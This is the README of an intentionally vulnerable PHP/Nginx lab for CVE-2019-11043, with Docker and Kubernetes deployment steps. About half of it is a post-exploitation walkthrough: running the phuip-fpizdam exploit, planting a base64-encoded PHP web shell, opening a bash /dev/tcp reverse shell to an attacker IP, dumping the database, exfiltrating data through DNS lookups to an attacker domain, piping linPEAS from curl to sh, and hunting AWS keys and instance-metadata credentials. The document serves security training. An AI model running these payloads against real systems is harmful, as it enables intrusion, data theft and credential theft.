
Intentionally vulnerable PHP app with Nginx/PHP-FPM setup for reproducing CVE-2019-11043, including Docker and Kubernetes deployment, post-exploitation exercises, and integration with phuip-fpizdam.
Minimal PHP app with intentionally vulnerable Nginx/PHP-FPM setup for reproducing CVE-2019-11043. Includes a tiny task manager, login/admin, and DB config UI.
# build
docker build -t cve-2019-11043-lab:app .
# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app
# open
open http://localhost:8080/
Use phuip-fpizdam against status.php, let it detect params, then rerun with --skip-detect.
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"
The app supports both SQLite and MySQL with automatic detection:
sqlite:/var/www/html/data/app.sqlitemysql:host=hostname;port=3306;dbname=database;charset=utf8mb4When these environment variables are set, they automatically override the DSN:
DB_HOST - Database hostnameDB_PORT - Database port (default: 3306)DB_NAME - Database nameDB_USER - Database usernameDB_PASS - Database passwordindex.php, login.php, admin.php)./health.php, which also verifies DB connectivity.Manifests are under k8s/:
k8s/secret.yaml: MySQL credentials (stringData placeholders)k8s/mysql-deployment.yaml: MySQL Deployment + Servicek8s/app-deployment.yaml: App Deployment (privileged) + Service; mounts secret and sets DB env varsk8s/ingress.yaml: Nginx Ingress routing to the appImage placeholder uses quay.io – change quay.io/your-org/cve-2019-11043-lab:app to your repo.
Apply order:
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml
Ingress assumes an Nginx Ingress Controller and taskapp.local DNS/hosts pointing to its address.
public/: web root (entrypoints)app/: app helpers (config, db, auth, version)php/: PHP-FPM ini overridesk8s/: Kubernetes manifestsdata/: runtime data (SQLite db, config)Login at /login.php using admin / admin (UI hint hidden by CSS).
Access /db_config.php as admin to:
This is an intentionally vulnerable environment. Do not expose to untrusted networks.
Build and push a multi-arch image (linux/amd64, linux/arm64) to quay.io.
Prereqs: Docker Buildx (Docker Desktop includes it). Optional QEMU emulation: docker run --privileged --rm tonistiigi/binfmt --install all.
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app
# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap
# build and push multi-arch image
docker buildx build \
--platform linux/amd64,linux/arm64 \
-t "$IMG" \
-t "${IMG}-$(date +%Y%m%d)" \
--push .
# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"
Set targets:
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"
Exploit (auto-detect, then final run):
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"
Drop a tiny web shell and verify exec:
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"
Continue with Post-Exploitation Lab Exercises below for reverse shell, MySQL dump, DNS TXT exfil, linPEAS, and AWS keys search.
These steps are for educational use in this lab environment only.
Set your base URL and attacker IP:
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444
After you exploit CVE-2019-11043 with phuip-fpizdam, use the RCE primitive to write a tiny web shell. If you already have a shell inside the container, run:
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null
If you only have RCE (no shell), run the same base64 write via the RCE primitive (e.g., through the exploit tool).
Validate:
curl -s "$BASE/sh.php?c=whoami"
curl -s "$BASE/sh.php?c=whoami"
On your attacker host:
nc -lvnp "$ATTACKER_PORT"
Trigger from the target (URL-encoded command):
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
If bash is unavailable, try:
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"
Option A (cluster operator path):
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz
Option B (via web shell using PHP PDO): write a quick dumper script that uses the app config:
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
$rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
echo "-- Table: {$t}\n";
echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP
# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json
Point a test domain you control (e.g., exf.attacker.tld) to a nameserver you capture on (e.g., dnschef or bind). Then from the target, trigger DNS lookups carrying chunks:
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\'''
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"
Observe queries on your nameserver; reconstruct from labels.
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'
# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"
# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true
Again: only perform these within this lab. Never test against systems you don’t own or have explicit permission to assess.